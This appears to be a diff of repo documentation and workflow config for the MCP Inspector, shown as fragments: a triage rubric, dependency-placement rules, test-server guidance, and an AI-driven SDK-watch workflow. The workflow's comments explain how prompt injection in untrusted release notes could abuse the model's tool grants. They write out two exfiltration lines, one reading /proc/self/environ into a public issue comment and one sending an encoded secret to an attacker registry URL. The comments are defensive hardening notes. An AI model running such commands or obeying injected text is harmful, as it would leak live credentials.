The point is that two people triaging the -same issue land in the same place, and that the reasoning survives in a form -someone can argue with later. - -**Axis 1 — Severity / impact (1–5).** How bad is it when it happens? - -| Score | Means | -| --- | --- | -| 1 | Cosmetic — a typo, a misaligned control, a wording nit. | -| 2 | Minor friction with an easy workaround. | -| 3 | A real feature is broken or missing; the workaround is annoying or partial. | -| 4 | A core workflow is unusable, or the Inspector reports something false about the server under test. | -| 5 | Data loss, a security vulnerability, or a release that is broken on arrival for everyone. | - -**Axis 2 — Urgency / staleness (1–5).** How time-sensitive or neglected is it? - -| Score | Means | -| --- | --- | -| 1 | No time pressure; nothing waits on it. | -| 2 | Wanted eventually. | -| 3 | Wanted this milestone, or has sat >90 days with no activity. | -| 4 | Blocking other work, or tied to a dated external dependency (an SDK release, a spec deadline). | -| 5 | Blocking a release, or actively hurting users on a published version right now. | - -**Signal indicators (+1 each — not an axis of their own).** Corroborating -evidence that the two axes may have undercounted: - -- Carries a `bug` or security-related label -- Linked to a milestone — i.e. **already approved**. This is the *re-scoring* - case: an issue being scored in a pass-1 triage has no milestone yet by rule, so - it never earns this one. If you find yourself applying it to every issue in a - batch, the milestone is being used as a formality rather than as approval, and - the bonus has become a constant that discriminates nothing. -- High engagement (many comments or reactions) -- Assigned to someone -- A sub-issue of a larger epic -- The reporter set `Fields → Priority` to **Urgent or High** — **+1, flat, - whichever of the two they picked.** It does not map to a band, and `Urgent` - earns exactly what `High` earns. - -**Bands.** Axes give 2–10 and there are six bonuses, so the total runs 2–16. - -| Total | Priority | Meaning | -| --- | --- | --- | -| 12+ | **Urgent** | Drop what you're doing. | -| 9–11 | **High** | Next up after current work. | -| 6–8 | **Medium** | Scheduled normally. | -| ≤5 | **Low** | Nice to have; may sit. | - -Severity alone doesn't reach Urgent: a 5/5 with no corroborating signals totals -10 and lands **High**. That's deliberate — Urgent is reserved for a severe -problem that something *else* also confirms is burning, and a band that -everything qualifies for stops carrying information. Override the band when it's -plainly wrong, but say why in the issue; a rubric nobody may overrule is a rubric -people route around. - -### Trust boundary: who can set what - -**The boards are private** (`public: false`, both #28 and #11 — verified -2026-08-01). The Status and Priority a maintainer assigns are visible only to -people with project access: a reporter cannot see them, cannot set them, and -will never learn how their issue was scored. Board priority is a maintainers' -working queue, not a published commitment. - -The org-level `Fields → Priority` is the opposite. It renders on the public -issue page and is **not** part of maintainer triage, so any value there is -**untrusted** — we didn't put it there, and it carries a preference rather than -an assessment. That asymmetry is why it earns a flat +1 and nothing more: - -- **It counts for something.** Someone flagging their own issue is real - information about how much it hurts them. -- **It cannot decide an outcome.** The bonus is capped, identical for `Urgent` - and `High`, and can lift an issue at most one band. Nothing a reporter can type - reaches Urgent by itself: Urgent needs 12, so the issue must already sit at 11 - on maintainer-assessed axes — at which point the reporter is not the reason. -- **Never map the value across.** A reporter selecting `Urgent` does not make the - card Urgent. Doing that would hand queue position to anyone with a GitHub - account, and the queue would sort by assertiveness instead of impact. - -Don't lean on GitHub's permission gate to enforce this. Whether an outside -reporter can set that field today is an implementation detail that can change -without notice; the rule holds either way, because it rests on *who assessed the -issue* rather than on who was technically able to click. - -### Recording the score - -The board stores only the *result* — a card reading `High` with no trace of how -it got there — and since the boards are private, that result is also invisible -to the reporter. So **post the arithmetic as a comment on the issue.** Without -it, a later re-scoring has no way to tell a considered judgment from a guess. - -```sh -gh issue comment <N> --repo modelcontextprotocol/inspector --body \ -'**Triage:** Priority **Medium** (total 7) - -- Severity 3 — a real feature is broken; workaround is partial -- Urgency 2 — wanted eventually, nothing blocked on it -- Bonuses: +1 `bug` label, +1 reporter set Fields → Priority to High - -Board: #28, Status `Incoming` (awaiting maintainer review — no milestone yet).' -``` - -Name the bonuses you claimed rather than just summing them — the milestone bonus -in particular should be conspicuously absent on a pass-1 triage, and a comment -that lists it is a visible sign the approval semantics were misapplied. - -## The board audit - -Sweeping in the unboarded issues is only the most visible defect class.

The second is not hypothetical here — closing keywords do - not fire on `v2/main`, so every v2 issue is closed **by hand** after its PR - merges, and forgetting that step is the normal way this breaks (Copilot). The - other checks cannot see it: they either gate on `isopen` or skip `Done`. -- **The two milestone checks are #28-only.** Every milestone in this repo is a - v2 release bucket, so a `v1` issue has none it could take — running the - Incoming⇔milestone invariant over board #11 would flag every card on it for a - state it cannot reach. -- **Count the labels; don't test for presence.** The invariant is *exactly - one*, so a predicate that only asks "is any version label present" passes an - issue carrying **both** `v1` and `v2` — which belongs to two lines at once - and shows up in both filtered queries.

Only the `core/` set has to appear in *all three* bundler - `external` lists. -- **Root-declared is not the same as aliased.** The `vitest.shared.mts` pins and - the `clients/web/tsconfig.*.json` `paths` cover the packages whose resolution - is genuinely ambiguous, which is two different situations: the importer is - `core/`, which has no manifest to resolve from, **or** a copy still sits in - the client install and would win. The second case is the one that is easy to - get wrong — `chokidar` (under `vite`), `zod` (under - `eslint-plugin-react-hooks`), `open` (under Storybook) and `react` (a peer of - `react-dom` and `ink`) are all present in a client's `node_modules` without - being declared there, so "we deleted the declaration" is not the same as "it - resolves from the root now". **Check the install, don't reason from the - manifest.** `ajv`, `commander` and `undici` carry no pin because no client - install has a copy of them at all. - -The point of deleting the client-side copies rather than merely keeping them in -step is that **a package installs only into an install root that declares it**. -Aligned duplicate declarations still drift the next time someone bumps one of -them; no declaration at all cannot. `npm run verify:dep-lockstep` is the detector -for the skew — in both its tiers since #2226 — and consolidation is what removes -the opportunity. - -Two consequences that read as bugs and are not: - -- **`clients/cli` and `clients/launcher` declare no runtime dependencies.** Their - manifests carry `devDependencies` only. Everything they import at runtime is - root-declared and resolves by walking up from the client directory. -- **A client's `node_modules` still contains some of these names.** They arrive - transitively (`chokidar` under `vite`, `react` as a peer of `react-dom` and - `ink`). That is why the `vitest.shared.mts` pins matter: an unpinned specifier - would resolve the nearest copy, which is the transitive one, not the root's. - -When a package moves to the root, its `vitest.shared.mts` pin has to move with -it — a `path.resolve(dirname, …)` pin left behind points at a directory that no -longer exists, or (for the transitive cases above) at the duplicate the pin was -supposed to rule out. - -**`react` and `react-dom` are the exception, and stay pinned per client.** They -are a matched pair — `react-dom` reaches into React internals — and `react-dom` -is still web-declared, so npm resolves it and its React peer together inside -`clients/web/node_modules`. Pointing -`react` at the root while `react-dom` resolves from the client would pair a -renderer with a React it was not installed against, which is the same split the -pin exists to prevent, arrived at from the other side. `dedupe` still collapses -each install to one copy, which is what actually has to hold. - -### Why the shared toolchain is root-only - -Every client's `validate` shells out to `prettier`, `eslint`, `tsc` and `vitest`, -which makes them look like they belong beside the scripts that call them. They -do not need to be: `npm run` prepends **every ancestor** `node_modules/.bin` to -`PATH`, and Node and TypeScript walk parent `node_modules` / -`node_modules/@types` the same way — so a client that declares no toolchain at -all still resolves the root's copy. `clients/launcher` declares no -`devDependencies` whatsoever and its `validate` is unchanged. - -What a per-client declaration *does* buy is a second copy free to drift, and it -had (#2196): `globals` sat at `^17.7.0` at the root against `^17.4.0` in all four -clients, and `typescript-eslint` at `^8.65.0` against `^8.56.1`. Nothing failed — -which is the point. A lint or format tool that differs per client makes the gate's -verdict a function of *where you ran it*, and the exact `prettier` pin (#1790) -only means something when there is one of it. - -⚠️ The line is **used by every client**, not "used by one" and not "is it -toolchain". `tsx`, `playwright`, `storybook`, `happy-dom`, `ink-testing-library`, -`vite-node` and each client's own `@types/*` are toolchain too and stay where -they are — hoisting them would make every client install the union of all four. -So do the ones **more than one** client declares without all of them doing so: -`tsup` sits in web, cli and tui, and `vite` in web and tui on top of the root -*runtime* `dependency` that `--web --dev` needs. Neither is in scope here; -whether to consolidate them is a separate call with a separate rationale (`vite` -especially, since its root declaration is a `dependency`, not a -`devDependency`). - -#### What the walk-up does *not* buy you - -⚠️ **Deleting a client's declaration does not always delete the copy** — and -where a copy survives, it is the one that wins. Two mechanisms put one back, -neither of which the manifest mentions: - -- **An unmet peer.** npm auto-installs a peer into the install that needs it, and - a client install has no visibility into the root's tree, so the root's copy - cannot satisfy it. Web's `eslint-plugin-react-refresh` / `eslint-plugin-storybook` - and the TUI's `eslint-plugin-react-hooks` each pull a client-local `eslint`; - web's Storybook/Vitest stack pulls a local `typescript` and `vitest`. -- **A hoisted transitive.** `@types/express` brings `@types/node` into web and - cli's trees on its own. - -Those copies sit *nearer* than the root's, so `clients/web/node_modules/.bin` -precedes the root bin directory on `PATH` and TypeScript resolves the nearest -`node_modules/@types`. Verify with `npm exec -- which eslint` from the client -rather than assuming — the assumption is what made the first cut of #2196 claim -more than it delivered (Copilot). - -So the consolidation buys **one declaration and one place to bump**, not one copy -on disk. The two mechanisms are **not** equally safe, and neither is a guarantee: - -- A **peer** copy is at least constrained by its holder's peer range. That is a - real pin only when the range is exact — `@vitest/browser-playwright` pins - `vitest` to a single version, which is why the trio below is pinned too. For a - wide range (`eslint-plugin-react-refresh` accepts `^9 || ^10`) the copies agree - only because npm happens to resolve the same latest in both installs, which is - a coincidence that holds until it doesn't. -- A **transitive** copy is constrained by nothing of ours whatsoever, and one had - already diverged: cli's `@types/node` was `24.13.1` against the root's - `24.13.3`, on `v2/main` too — a declared `^24.12.4` loses to a nearer - transitive. It is pinned with an `overrides` entry in `clients/cli` since - #2226. - -✅ **`verify:dep-lockstep` gates both of those since #2226.** Its second tier -compares every package **any** install *declares* — `dependencies`, -`devDependencies` and `optionalDependencies`, unioned across the root and all -four clients — against every **top-level** copy in every install, independent of -what a `tsc` program resolves. So a tool *binary* that no program loads -(`eslint`, `typescript`, `vitest`) and a transitive copy that no single program -meets (the cli `@types/node` above) are both in scope now, as is a skew between -two **clients** with no root copy involved (`@types/react`, web against tui). - -⚠️ **Two gaps remain, and they are why the by-hand check below is still worth -running.** The tier reads **lockfiles**, so a copy you installed by hand and -never committed is invisible to it; and it compares only names some manifest -declares, so a purely transitive package no manifest anywhere names stays the -program tier's business. When you change what a client declares, check by hand -from that client: - -```sh -cd clients/web && npm exec -- which eslint prettier tsc vitest -``` - -#### Why the vitest trio is pinned exactly - -`@vitest/browser-playwright` declares an **exact** peer on `vitest` (`"vitest": -"4.1.10"`, not a range), so that package — not the root's range — decides which -`vitest` lands in `clients/web`. Left floating, the root resolves the newest -patch while web's peer stays pinned to the older one, and web's tests then run on -one `vitest` while loading a `@vitest/coverage-v8` provider built against -another. Both would still pass, which is the bad part. - -So `vitest` and `@vitest/coverage-v8` at the root and `@vitest/browser-playwright` -in `clients/web` are all pinned **exactly**, and a bump edits all three in one -change — the same discipline as the exact `prettier` pin (#1790). - -### Why runtime consumption decides `dependencies` - -The client builds externalise npm packages, so a published install resolves them -from the **root** manifest — and devDependencies are not installed for -consumers. A runtime import parked there therefore **breaks the published -package while passing every local check**, which is the worst shape a mistake -can take here. - -Two live examples worth knowing: - -- `express` is test-only, so it is a devDependency. -- `vite` and `@vitejs/plugin-react` look like build tooling but are root - `dependencies`, because `clients/web/server/start-vite-dev-server.ts` imports - them at runtime for `--web --dev`. Moving them would break that for consumers - while every local check stayed green. - -### Why a root dependency must also be externalised - -tsup and Vite externalise what the **client's** `package.json` declares, and a -root-only dependency is in none of them — so it is **bundled**, silently. For a -CJS package inlined into an ESM bundle that is fatal: esbuild leaves a -`Dynamic require of "path" is not supported` shim that throws at *import* time, -so the binary dies before it parses a flag (`proper-lockfile`, #2082). - -`undici` (#2067) is the worse variant, because it is `import()`ed lazily: the -binary boots fine and only the proxied path dies — with esbuild's rewritten -specifier (`import("./undici-HXPKCIY3.js")`) meaning **no user-side install can -ever satisfy it**. It was declared in `clients/cli/package.json`, so the CLI -looked correct while web and TUI silently inlined 1.05 MB of it. - -**How to tell.** The ordinary tiers cannot: unit and integration tests run -against source, where the real package is on the resolution path, and the smokes -never take the lazy path. `npm run verify:bundle-externals` reads the **built -output** for exactly this reason — the config and the output disagreed for four -releases. - -⚠️ **Probing by hand with `node -e` falsely succeeds.** `node -e` exposes a -global `require` that satisfies esbuild's `typeof require !== "undefined"` -guard, so the chunk looks loadable when it is not. Reproduce from a real `.mjs` -file. - -### Why React-rendering packages are the exception - -An externalised package resolves its own `react` from wherever npm placed -**it** — beside a React satisfying *that package's* peer range, which is looser -than ours in every case here. `ink-form` and `ink-scroll-view` declare `">=18"`, -so a consumer's React 18 satisfies them and hoists them while our React 19 nests -underneath: the bundle renders through one React, those packages call hooks on -another, and the TUI crashes on the first hook (#1952). - -`ink` is exempt on **cost** (~1.4 MB of `react-reconciler` + `yoga-layout`, plus -a `createRequire` banner). ⚠️ **Never justify that exemption by a peer range** — -it briefly read "its `">=19"` peer keeps npm honest", which is false: a consumer -pinning React 19.0 satisfies `">=19"` while a narrower range of ours nests -underneath. What makes it safe is the *root `react` range staying open to the -whole major*, so npm can dedupe. `clients/tui/__tests__/tsupConfig.test.ts` -enforces the whole split, the exemption included. - -### Why a version skew is worth aligning rather than working around - -Because v2 is not a workspace, the same package can appear **twice in one `tsc` -program** — a client's own install plus the root's, reached through `core/` or -`test-servers/src`. At the same version that is harmless; on a skew TypeScript -must relate two structurally-distinct declarations, which for a -recursive-generic surface is exponential. A zod `4.3.6` / `4.4.3` skew exhausted -the 4 GB tsc heap outright with `TS2589` (#1896). - -⚠️ **Raising the heap hides the class rather than fixing it.** Align the -versions; `npm run verify:dep-lockstep` is the guard, and it runs **two tiers**. -The first derives its candidate set from what actually enters each `tsc` -program, so a package whose declarations arrive only through another package's -`.d.ts` is still seen. The second (#2226) compares every **declared** package's -top-level copies across installs whatever any program loads, so a transitive or -peer-shadow drift no program can meet is caught too. - -Aligning a stale install is `npm update <pkg>` there — it moves the lockfile -within the declared range without widening the range, which -`npm install <pkg>@<version>` would. A transitive copy that will not move takes -an `overrides` entry in that install (see the next section). - -### Why `overrides` beats `npm audit fix` - -`tsup@8.5.1` declares `esbuild: ^0.27.0`, and the advisory covers -`0.27.3 - 0.28.0` with `0.27.7` the last 0.27.x — so there is no *upward* escape -inside that range, and `npm audit fix` "resolves" it by silently **downgrading** -to `0.27.2` across three installs (~700 lines of lockfile churn for a low-severity -dev-only advisory; tried and reverted in #2058). The override forces one deduped -copy above the range instead. - -Two costs: it puts `tsup` on an esbuild **major it does not declare**, so -`npm run build` — not `npm audit` — is the real gate on such a pin; and it is -invisible to the audit once clean, so **drop it when `tsup` widens its range** -rather than carrying it forever. diff --git a/.claude/skills/local-dev/evals/evals.json b/.claude/skills/local-dev/evals/evals.json deleted file mode 100644 index 62c70f25..00000000 --- a/.claude/skills/local-dev/evals/evals.json +++ /dev/null @@ -1,30 +0,0 @@ -[ - { - "prompt": "What is the difference between the launcher-driven run scripts and starting a client directly, and when should I use each?", - "expect": "local-dev" - }, - { - "prompt": "I added a package and now one of the client bundles fails at run time.

The older shots checked into -`specification/screenshots/` were taken at assorted sizes, which is the problem, -not the precedent.

(Stdio-backed ones follow the -next subsection instead.) - -Four mechanics of this path: - -- **The factories come from one barrel.** `createTestServerHttp` / - `createTestServerStdio` build the server; the `create*Tool`, - `create*Resource` and `create*Prompt` fixtures in - `test-servers/src/test-server-fixtures.ts` populate it; - `createTestServerInfo` fills in `serverInfo`. Prefer an existing fixture - factory to hand-writing a `ToolDefinition` — that is what makes the fixture a - shared one. -- **`start()` then `stop()`, and `stop()` in an `afterEach`.** The server binds a - real port, so a test that throws before stopping leaks it into the rest of the - file. -- **Read `started.url`.** `createTestServerHttp` resolves through - `findAvailablePort()`, which walks upward when the port is taken, so an - assumed port is the same bug the two-process path has. -- **Era is a constructor option, not a config file.** `modern: {}` on the config - object selects the modern handler; the client side picks its own negotiation - (`eraToVersionNegotiation`). The showcase-config era table below does not - apply. - -⚠️ **The barrel is an alias to the BUILD, not to the source** — -`vitest.shared.mts` maps `@modelcontextprotocol/inspector-test-server` to -`test-servers/build/index.js`. So `Build first` applies to this path in full, -stale-build hazard included: an edit to `test-servers/src` that is not rebuilt -is invisible to an in-process test exactly as it is to a spawned one. - -### Automated, spawned stdio: hand over the command - -```ts -import { getTestMcpServerCommand } from "@modelcontextprotocol/inspector-test-server"; - -const { command, args } = getTestMcpServerCommand(); -const client = new InspectorClient( - { type: "stdio", command, args }, - { environment: { transport: createTransportNode } }, -); -await client.connect(); -// … afterEach → client.disconnect(), which is what stops the child. -``` - -`getTestMcpServerCommand()` returns `node <test-servers/build/test-server-stdio.js>`. -Three consequences: - -- **You do not own the process, the transport does.** There is no `start()` / - `stop()` pair — disconnecting the client is what reaps the child, so the - `afterEach` that matters is `client.disconnect()`. -- **No config is selected and none can be.** That entry point starts the stdio - server on its **default** config, so the showcase-config table and the - protocol-era guidance below do not apply. If the case needs a specific tool - set or the modern handler, it is an in-process HTTP test, not this. -- **It is still the build.** The path comes from the module's own resolved - location under the alias, so it is `test-servers/build/`, with the same - staleness hazard. - -The same command feeds the CLI's out-of-process E2E suite -(`clients/cli/__tests__/e2e.test.ts`), which spawns the built CLI *and* lets it -spawn the fixture. Reference tests for this shape: -`clients/web/src/test/integration/mcp/inspectorClient-response-rejected.test.ts` -and `clients/cli/__tests__/methods.test.ts`. - -## Build first - -Every shape above resolves generated output — the in-process one imports the -barrel, which is **aliased to `test-servers/build/index.js`**, and the stdio and -composable-config ones run emitted `.js` as real subprocesses. So the build must -exist whichever one you are in: - -```sh -cd clients/web && npm run test-servers:build # tsc -p test-servers → test-servers/build/ -``` - -Scripts reach this through `scripts/ensure-test-servers.mjs`, which builds -**unconditionally** (once per process per repo root). - -⚠️ **Unconditional emit is not a clean.** A **deleted** source file leaves its -stale `.js` behind, existence checks pass against it, and anything still -importing that module silently runs the old code — reported not as staleness but -as a product failure in whatever was being tested. So after deleting or renaming -a source file: - -```sh -rm -rf test-servers/build -``` - -The `.tsbuildinfo` is pinned inside `build/` so that clean actually invalidates -the cache. - -## Run one by hand (two processes) - -This is the **spawned composable HTTP** shape from the section above, driven by -you rather than by a smoke script — the config and era guidance is the same -either way. Two processes: the test server, then the Inspector. - -```sh -# 1.

The rule stands on consistency, not on timer safety. - -- **Forced color scheme:** pass the option — - `renderWithMantine(ui, { colorScheme: "dark" })` — rather than hand-rolling - `defaultColorScheme="dark"`. -- **Mid-flight transition state** (e.g. asserting a `data-anim="out"` cell during - an exit crossfade) is the only reason to use `renderWithMantineTransitions`. - Pass `settleMs` derived from the component's real animation duration **plus - the helper's shared slack** — `HEADER_ANIM_MS + RAF_SLACK_MS`, both imported, - never a literal: the first term tracks the component and the second tracks how - busy the machine is, and only the second should move when the machine gets - busier (#2323). Do **not** also use `vi.useFakeTimers()` in that test: - the auto-settle awaits a real `setTimeout`, so under fake timers it **throws** - with a message telling you to call `vi.useRealTimers()` first — it does not - silently skip. That is deliberate (a deadlock would otherwise hang until the - project's `hookTimeout`), but it means the combination fails the test rather - than degrading.

What it never does is re-analyze an -# issue that already has one, which is what keeps it to a single analysis per -# SDK release rather than a near-identical comment every night for as long as -# the issue stays open. -# * `post` writes the comment, and exists as a SEPARATE JOB purely so the model -# never shares a token with it. GitHub scopes permissions per job, not per -# step, so while these two were one job the `issues: write` the posting needed -# was on the token handed to the model action as well. `analyze` is now -# `contents: read` and hands its text over as an artifact. -# -# ⚠️ Why this files an issue and not a PR, and why it is NOT the Copilot coding -# agent that #1063's comment sketched. Assigning `copilot-swe-agent` is possible -# here (it is in `suggestedActors`), but two things rule it out. Its run produces -# a PULL REQUEST — the artifact carrying no `Closes #N` and no board card that -# #2229/#2233/#2235 removed from this repo — and its model cannot be selected -# programmatically at all: assignment goes through `replaceActorsForAssignable`, -# which takes no model parameter, and absent an admin-configured picker the agent -# runs Sonnet. `claude-code-action` has neither problem: it is told to post a -# COMMENT and nothing else, and `--model` says exactly which model runs. -# -# ⚠️ A scheduled workflow only ever runs from the DEFAULT branch (`main`), while -# we ship from `v2/main`. So this file does nothing until a milestone merge -# carries it to `main`, and both jobs check `v2/main` out explicitly rather than -# reading the branch they were launched from — the same shape both sibling -# sweeps use. -# -# Tokens: `GITHUB_TOKEN` is sufficient for the sweep (`issues: write` to file, -# plus public registry and milestone reads). `ANTHROPIC_API_KEY` is an -# ORGANIZATION secret already available to this repo and is what `analyze` runs -# on. Board placement is deliberately not attempted by either job — that needs an -# org-project PAT no token in this org has — so a filed-but-unboarded issue is -# picked up by the next `/issue-triage` sweep, exactly as `dependency-refresh.yml` -# leaves it. -name: SDK Watch - -on: - schedule: - - cron: "41 5 * * *" # 05:41 UTC nightly, clear of the 06:17 alert sweep - workflow_dispatch: - -# The marker check is a read-before-write, not an atomic one, and nothing stops a -# `workflow_dispatch` from landing on top of the scheduled run.

Return your findings as the - `analysis` field of the structured output; a later step posts them to that issue. - - How to go about it: - - 1. Read `upstream-release-notes.md` in the working directory. It holds the upstream's - 30 most recent releases, newest first, already fetched for you — you have no shell - and no network, so it is the only source of release notes available. Cover every - version in the range above, not just the newest. If it says the notes could not be - fetched, or the range you need is not in it, say so in your write-up rather than - guessing. - 2. Find how this repo actually uses the SDK. Nearly all of it is under `core/` - (`core/mcp/` for the client and transports, `core/auth/` for OAuth), with the - clients consuming it through the `@inspector/core` alias. `AGENTS.md` is the map. - 3. Judge impact against THIS codebase, not in the abstract. A breaking change in an - API we never call is worth one line saying so; a quiet behavior change in one we - depend on is the finding that matters. - - Write the comment as: - - - **Verdict** — one sentence: is this a routine bump, or does it need real work? - - **What changed upstream** — the notable entries, with the version each landed in. - Say plainly if the release notes are thin or missing rather than inventing detail. - - **What it means here** — the specific files or areas that need attention, with - paths. Say "no changes needed" if that is the honest answer. - - **Risks and unknowns** — anything you could not determine. Do not paper over a gap. - - Hard constraints: - - - You do NOT post the comment yourself and have no tool that could. Return your write-up - as the `analysis` field of the structured output; a later, non-model step posts it - verbatim to issue #${{ matrix.target.issue }}. Do not add a footer — that step adds one. - - Markdown is expected in that field. Do not wrap it in a code fence. - - If you cannot determine what changed, say exactly that in the `analysis` field. A short - honest write-up is the correct output; a confident invented one is not. - # ⚠️ **The model is granted NOTHING that can write anywhere.** The tool - # grant is the only real control here — the prose constraints in the - # prompt are not, because this agent reads untrusted upstream text by - # design — and two earlier revisions of this list were both wrong: - # - # * `Bash(gh api:*)` against an `issues: write` token allowed - # arbitrary issue mutation (Copilot, round 1). - # * Pinning `Bash(gh issue comment <N>:*)` to this issue did NOT fix - # it, because the grant matches a command PREFIX and says nothing - # about the flags that follow: `gh issue comment <N> --body-file - # /proc/self/environ` matches, and this job's subprocess environment - # holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN`. A prompt injection - # could have published live credentials into a public issue - # (Copilot, round 2). A prefix grant on a command that accepts a - # file path is an arbitrary-file read with a publish attached. - # - # So the model no longer posts anything. It returns its write-up as - # structured output and the deterministic step below posts it — that - # step runs no model, takes no path, and is the only thing here holding - # a token that can write. `WebFetch` is gone with it: release notes come - # from `gh release view`, and an outbound fetch the model controls is - # the other end of the same exfiltration channel. - # - # `Bash(npm view:*)` is gone for the same class of reason as the third - # revision: `npm` accepts `--registry=<arbitrary URL>`, and a prefix - # grant constrains nothing after the prefix — so - # `npm view x --registry=https://attacker.example/<encoded secret>` was - # an outbound channel that no output scan can see (Copilot, round 4). - # The prompt is already handed both versions and never needed the - # registry. Twice now the flag surface, not the command name, has been - # the hole: **check what flags a command accepts before granting it.** - # - # The lesson finally applied: **the model gets NO Bash at all.** Every - # one of those holes was a command grant whose flag surface was wider - # than the grant looked, and a fourth would have been found eventually. - # Release notes are prefetched by the deterministic step above, so - # nothing here needs a shell. - # - # ⚠️ **`--tools` is the restriction; `--allowedTools` only - # pre-approves.** They are not interchangeable, and this repo already - # paid for that distinction once in `scripts/skill-eval.mjs` — a tool - # some other settings file permits stays reachable if only - # `--allowedTools` names it. So `--tools` enumerates what is AVAILABLE - # (three read-only tools), `--allowedTools` keeps those three from - # needing a prompt no headless run can answer, and `--disallowedTools` - # denies the rest by name as a third layer. - # - # ⚠️ **A RESIDUAL CHANNEL REMAINS, AND IT IS ACCEPTED ON PURPOSE.** - # `claude-code-action` copies the action's environment into the model's, - # so `ANTHROPIC_API_KEY` is readable by a `Read` this job genuinely - # needs, and `analysis` is model-controlled text this workflow - # publishes.

Node -`>=22.19.0`. - -```sh -npm install # repo root -npm run build # web → cli → tui → launcher -cd clients/web && npm run dev # day-to-day web iteration (Vite, HMR) -``` - -Fuller detail — the launcher-driven scripts, the `@inspector/core` alias, and the -worktree trap — is the `local-dev` skill. - -## Dependency placement - -The reasoning behind each of these, and what breaks when it is ignored, is the -`local-dev` skill. The rules themselves: - -- **Every runtime dependency `core/` imports is declared in the repo-root `package.json` and nowhere else.** That is the MCP SDK packages (`@modelcontextprotocol/client`, `core`, `server`, `server-legacy`, `ext-apps`) and, since #2195, the rest of what `core/` reaches: `ajv`, `atomically`, `chokidar`, `hono`, `@napi-rs/keyring`, `pino`, `proper-lockfile`, `react`, `undici`, `zod`. So is anything reached only through root-owned code with no manifest of its own (`test-servers/src`, `core/`). The v1 SDK (`@modelcontextprotocol/sdk`) is **not** a dependency of this repo and must not become one. -- **A root declaration is not by itself a claim that `core/` imports it.** `commander`, `open`, `@hono/node-server`, `vite` and `@vitejs/plugin-react` are root `dependencies` reached only from _client_ code, for the runtime-consumption reason below: a published install resolves every externalized import from the root manifest, so a client's runtime import has to be declared there whether or not `core/` also reaches it. Those need naming only in the `external` list of the client that actually imports them, not in all three. -- **A client declares only what that client alone consumes** — its own UI stack, its bundler-inlined packages, its dev tooling. `clients/cli` and `clients/launcher` therefore declare **no** runtime dependencies at all, and that is the expected steady state, not an omission: everything they run on is root-declared and resolves by walk-up from the client directory. Re-adding a root-declared package to a client manifest re-creates the second copy this rule exists to make impossible (#1896), so a missing module at runtime is a signal to check the **root** manifest and the client's `external` list, never to add it back. -- **A package that moves to the root moves its `vitest.shared.mts` pin with it.** Left pointing at `<client>/node_modules` a pin resolves to a directory that no longer exists — or, where a transitive copy happens to sit there (`chokidar` under `vite`, `react` as a peer of `react-dom` and `ink`), to the very duplicate the pin list exists to prevent. **`react` and `react-dom` are the deliberate exception** and stay pinned per client, so a client's renderer and the React it calls into come from one install; every other root-owned pin resolves from the repo root. -- **`dependencies` vs `devDependencies` follows from who consumes it at runtime**, not from where it is declared. Anything `core/` imports at runtime must be a root **`dependency`** — the client builds externalize npm packages and a published install resolves them from the root manifest, where devDependencies are absent. -- **The shared toolchain is declared once, at the repo root, and in no client manifest.** `eslint`, `@eslint/js`, `typescript-eslint`, `globals`, `prettier`, `typescript`, `vitest`, `@vitest/coverage-v8` and `@types/node` are used by every client's own scripts, and a client that declares none of them still resolves the root copy by walk-up — `npm run` puts each ancestor `node_modules/.bin` on `PATH`, and Node and TypeScript walk parent `node_modules` / `node_modules/@types` the same way. `clients/launcher` declares no `devDependencies` at all and its `validate` is unchanged. A client-side declaration buys nothing and installs a second copy free to drift, as `globals` (`^17.7.0` root / `^17.4.0` clients) and `typescript-eslint` (`^8.65.0` / `^8.56.1`) had before #2196. These stay **`devDependencies`** — none is consumed at runtime and the tarball ships only each client's `build/`. The boundary is **used by every client**, not "used by one": anything narrower stays where it is, whether one client declares it (`tsx`, `playwright`, `storybook`, `happy-dom`, `ink-testing-library`, `vite-node`, each client's own `@types/*`) or several do — `tsup` is declared in web, cli and tui, and `vite` in web and tui on top of the root **runtime** `dependency` that `--web --dev` needs. Those are out of scope here; consolidating them is a different call with a different rationale. - - ⚠️ **Deleting the declaration does not always delete the copy, and the local copy still wins.** npm auto-installs an unmet **peer** into the install that needs it, and it has no visibility into the root's tree — so a client-only ESLint plugin drags a client-local `eslint` in (`eslint-plugin-react-refresh`/`-storybook` in web, `eslint-plugin-react-hooks` in tui), and web's Storybook/Vitest stack drags in a local `typescript` and `vitest`. A hoisted transitive does the same: `@types/express` puts an `@types/node` in web and cli. Those copies sit _nearer_ than the root's and take precedence. The consolidation is therefore about **one declaration and one place to bump**, not about a single copy on disk. ⚠️ **Nothing keeps the surviving copies aligned automatically — but since #2226 the guard rejects the drift.** A **peer** copy is at least constrained by its holder's peer range — tightly for `vitest` (an exact peer, hence the pin below), loosely for `eslint` (`^9 || ^10`), where the copies agree only because npm resolves the same latest in both installs. A **transitive** copy is constrained by nothing of ours at all, and cli's `@types/node` (`24.13.1` against the root's `24.13.3`) diverged on exactly that. **That is detection, not alignment: `verify:dep-lockstep` fails on this class since #2226, and you still do the bump by hand.** Its second tier compares every package any install _declares_ (`dependencies`, `devDependencies`, `optionalDependencies`; not peers) against every top-level copy across all five installs, independent of what a `tsc` program loads, so a transitive drift and a peer shadow (`eslint`, `typescript`, `vitest`) are both in scope now. Two limits remain: the tier reads lockfiles, so a tool binary you installed by hand and never committed is still invisible; and it only compares names some manifest declares, so a purely transitive package no manifest names is out of scope in both tiers unless a `tsc` program loads both copies. Aligning a stale install is `npm update <pkg>` there; a transitive copy that will not move takes an `overrides` entry in that install (`clients/cli` pins `@types/node` this way). - - ⚠️ **`vitest`, `@vitest/coverage-v8` and web's `@vitest/browser-playwright` are pinned exactly, and move together.** `@vitest/browser-playwright` declares an **exact** peer on `vitest`, so it — not the root range — decides which `vitest` web installs. Left to float, the root resolves a newer patch and web's tests then run on one `vitest` while loading a coverage provider built against another. Bumping means editing all three in one change, the same discipline the exact `prettier` pin (#1790) exists for. ⚠️ **Editing the three is necessary but not sufficient — `clients/web` also carries a `vitest` `overrides` entry that has to move with them.** Web does not declare `vitest`, so its copy is the peer shadow above; its lockfile pins that copy at the old patch, and the exact peer plus the lockfile form a knot `npm install` resolves by refusing outright (`Conflicting peer dependency: vitest@<new>`), while `npm update` will not move it either. Deleting web's lockfile clears the error and re-resolves every caret range in the tree at once — an uncontrolled dependency update wearing a security patch's clothes. The `overrides` entry is the controlled alternative, the same mechanism `clients/cli` uses for `@types/node`: it moves the shadowed copy and nothing else, keeping the churn inside the vitest constellation. So a vitest bump is **four** edits, and the override's version is an exact pin like the other three (#2301). -- **A root-declared package that `core/` imports at runtime must also be named in all 